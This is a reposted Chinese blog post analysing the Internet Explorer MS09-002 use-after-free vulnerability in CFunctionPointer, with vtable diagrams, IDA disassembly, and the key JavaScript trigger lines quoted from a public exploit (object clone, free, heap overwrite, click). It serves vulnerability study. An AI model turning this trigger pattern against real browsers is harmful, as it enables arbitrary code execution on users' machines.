MS09-002分析笔记( 转载)

绿盟公告:
Internet Explorer的CFunctionPointer函数没有正确地处理文档对象,如果以特定序列附加并删除了对象,
就可以触发内存破坏,导致以当前登录用户的权限执行任意代码。


漏洞背景

MS09-002的溢出技术实际上是C++中溢出覆盖虚函数指针技术。
虚函数使用动态联编技术,即使用virtual关键字,并且在调用函数时通过指针或引用调用来实现。
当程序进行动态联编时会把虚拟函数的地址放在一个特定的表中(vftable),程序通过查表方式来调用函数。
我们要做的就是覆盖掉这个vftable里的内容,当下次调用时候就会跳到我们指定的地址。

先来看看对象的空间组织

| 低地址    |
+-----------+ ---> 对象起始地址
|pvftable  |-------------------------->+
+-----------+                          | 
|各成员变量 |                          |
+-----------+ ---> 对象结束地址        + ---> +--------------------+ 地址表 vftable
| 高地址    |                                  |虚函数 1 地址      |
                                              +--------------------+
                                              |虚函数 2 地址      |
                                              +--------------------+
                                              |...      | 

分析

从公告和google中知道了出问题的是mshtml.dll中的CFunctionPointer对象,IDA之。

; public: __thiscall CFunctionPointer::CFunctionPointer(class CBase *, long)
??0CFunctionPointer@@QAE@PAVCBase@@J@Z proc near

arg_0= dword ptr  8
arg_4= dword ptr  0Ch

mov    edi, edi
push    ebp
mov    ebp, esp
push    esi
mov    esi, ecx
call    ??0CBase@@QAE@XZ ; CBase::CBase(void)
mov    ecx, [ebp+arg_0] ; _this
test    ecx, ecx ; 
mov    eax, [ebp+arg_4]
mov    dword ptr [esi], offset ??_7CFunctionPointer@@6B@ ; const CFunctionPointer::`vftable' ****虚拟表地址
mov    [esi+10h], ecx ; 填充虚函数地址 ***
mov    [esi+14h], eax
jz      short loc_7E3B0923

再看看CFunctionPointer的引用添加CFunctionPointer::PrivateAddRef

.text:7E8999D6 ; public: virtual unsigned long __stdcall CFunctionPointer::PrivateAddRef(void)
.text:7E8999D6 ?PrivateAddRef@CFunctionPointer@@UAGKXZ proc near
.text:7E8999D6                                        ; DATA XREF: .text:7E907DBCo
.text:7E8999D6
.text:7E8999D6 arg_0          = dword ptr  8
.text:7E8999D6
.text:7E8999D6                mov    edi, edi
.text:7E8999D8                push    ebp
.text:7E8999D9                mov    ebp, esp
.text:7E8999DB                push    esi
.text:7E8999DC                mov    esi, [ebp+arg_0] ; _this
.text:7E8999DF                mov    eax, [esi+10h]  ; &vftable
.text:7E8999E2                test    eax, eax
.text:7E8999E4                jz      short loc_7E8999F2
.text:7E8999E6                cmp    dword ptr [esi+4], 0
.text:7E8999EA                jz      short loc_7E8999F2
.text:7E8999EC                mov    ecx, [eax]
.text:7E8999EE                push    eax
.text:7E8999EF                call    dword ptr [ecx+4] ; 取虚拟函数

可以看到代码中没有做任何边界检测。

利用

太菜了,不会写shellcode...
到Milw0rm上down下来的一个shellcode,以下是关键部分

var o2 = o1.cloneNode();    // 克隆节点
o1.clearAttributes();      // 释放对象
o1=null; CollectGarbage();      // 设置变量为NULL并调用CollectGarbage()时javascript并不会把内存释放。
                                //当下次再次定义变量时,就会覆盖此变量所在的内存。
                                //如果不设为null,javascript再次定义变量时,会开辟一个新的内存空间。
for(var x=0;x<a1.length;x++) a1[x].src=s1;      // 开始覆盖
o2.click;      //触发

从这段利用代码中感觉到利用这个漏洞并不是很容易,还涉及到javascript的内存机制。

总结

刚到公司没什么事,就写了这篇分析文档。
这是我第一次学习分析漏洞,望各位看官多多指正,thx!

参考:

1、《网络渗透技术》 http://www.xfocus.net
2、Microsoft IE CFunctionPointer函数内存破坏漏洞(MS09-002) http://www.nsfocus.net/vulndb/12928
3、关于ie的内存泄漏与javascript内存释放 http://www.okajax.com/a/200806/062954F2008.html
4、MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2) http://www.milw0rm.com/exploits/8079
5、MS09-002,刚刚触发了一下 http://hi.baidu.com/yicong2007/blog
posted @ 2009-03-31 22:05 jecray 阅读(199) 评论(1) 编辑 收藏